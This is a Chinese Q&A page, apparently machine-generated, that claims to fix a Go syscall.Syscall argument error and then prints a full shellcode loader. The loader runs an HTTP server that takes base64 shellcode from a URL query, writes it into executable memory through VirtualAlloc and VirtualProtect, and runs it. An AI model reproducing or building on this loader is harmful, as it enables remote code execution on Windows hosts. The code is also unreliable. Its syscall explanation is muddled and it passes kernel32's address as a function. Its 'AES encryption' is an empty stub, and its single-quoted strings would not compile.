Go 代码报错: syscall.Syscall() 函数参数错误
代码报错的原因是在调用 syscall.Syscall() 函数时传入了多余的参数。根据 syscall.Syscall() 函数的文档,它只接受五个 uintptr 类型的参数,但是在代码中传入了六个参数。
解决方法是将 syscall.Syscall() 函数的参数修改为正确的五个参数,并将传入的 kernel32 参数改为 kernel32.Addr(),即可正常编译和运行。
修改后的代码如下:
package main
import (
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"syscall"
"unsafe"
)
const (
AESKey = '0123456789abcdef'
pageExecuteRead = 0x20
pageExecuteReadWrite = 0x40
executable = pageExecuteRead | pageExecuteReadWrite
)
var (
kernel32 = syscall.MustLoadDLL('kernel32.dll')
virtualAlloc = kernel32.MustFindProc('VirtualAlloc')
kernel32Protect = kernel32.MustFindProc('VirtualProtect')
shellcodeProc = syscall.NewLazyDLL('ShellcodeExecutor.dll').NewProc('executeShellcode')
)
func encryptShellcode(shellcode []byte, key string) ([]byte, error) {
// AES加密
// ...
return shellcode, nil
}
func allocateMemory(size int) (uintptr, error) {
page := uintptr(0x1000)
protect := uintptr(pageExecuteReadWrite)
address, _, err := virtualAlloc.Call(0, uintptr(size), page, protect)
if address == 0 {
return address, fmt.Errorf('cannot allocate memory: %v', err)
}
return address, nil
}
func writeMemory(data []byte, address uintptr) (int, error) {
var bytesWritten uintptr
ret, _, err := syscall.Syscall(
uintptr(unsafe.Pointer(kernel32.Addr())),
uintptr(unsafe.Pointer(&data[0])),
uintptr(len(data)),
uintptr(address),
uintptr(unsafe.Pointer(&bytesWritten)),
0,
)
if ret == 0 {
return 0, fmt.Errorf('failed to write memory: %v', err)
}
return int(bytesWritten), nil
}
func protectMemory(address uintptr, size int, protect uintptr) (err error) {
old := uintptr(0)
_, _, err = kernel32Protect.Call(
address,
uintptr(size),
protect,
uintptr(unsafe.Pointer(&old)),
)
if err != nil {
return fmt.Errorf('protect call failed: %v', err)
}
return
}
func handleShellcode(w http.ResponseWriter, r *http.Request) {
r.ParseMultipartForm(10 << 20) // 10MB
file, _, err := r.FormFile('shellcode')
if err != nil {
fmt.Println('Error reading shellcode. ', err)
return
}
defer file.Close()
shellcode, err := ioutil.ReadAll(file)
if err != nil {
fmt.Println('Error reading shellcode. ', err)
return
}
encryptedShellcode, err := encryptShellcode(shellcode, AESKey)
if err != nil {
fmt.Println('Error encrypting shellcode. ', err)
return
}
w.Header().Set('Content-Type', 'text/plain')
w.Header().Set('Content-Disposition', 'attachment; filename=payload.txt')
w.Write([]byte(base64.StdEncoding.EncodeToString(encryptedShellcode)))
}
func handleDownload(w http.ResponseWriter, r *http.Request) {
shellcode, err := base64.StdEncoding.DecodeString(r.URL.Query().Get('shellcode'))
if err != nil {
fmt.Println('Error decoding shellcode. ', err)
return
}
baseAddr, err := allocateMemory(len(shellcode))
if err != nil {
fmt.Println('Error allocating memory. ', err)
return
}
_, err = writeMemory(shellcode, baseAddr)
if err != nil {
fmt.Println('Error writing shellcode. ', err)
return
}
protectMemory(baseAddr, len(shellcode), executable)
ret, _, err := shellcodeProc.Call(uintptr(baseAddr), 0, 0)
if ret == 0 {
fmt.Println('Error executing shellcode. ', err)
return
}
fmt.Println('Shellcode executed successfully.')
}
func main() {
http.HandleFunc('/handleShellcode', handleShellcode)
http.HandleFunc('/handleDownload', handleDownload)
http.HandleFunc('/', func(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, 'index.html')
})
port := os.Getenv('PORT')
if port == '' {
port = '8080'
}
log.Printf('Listening on localhost:%s...
', port)
err := http.ListenAndServe(':'+port, nil)
if err != nil {
log.Fatal(err)
}
}
原文地址: https://www.cveoy.top/t/topic/lNkG 著作权归作者所有。请勿转载和采集!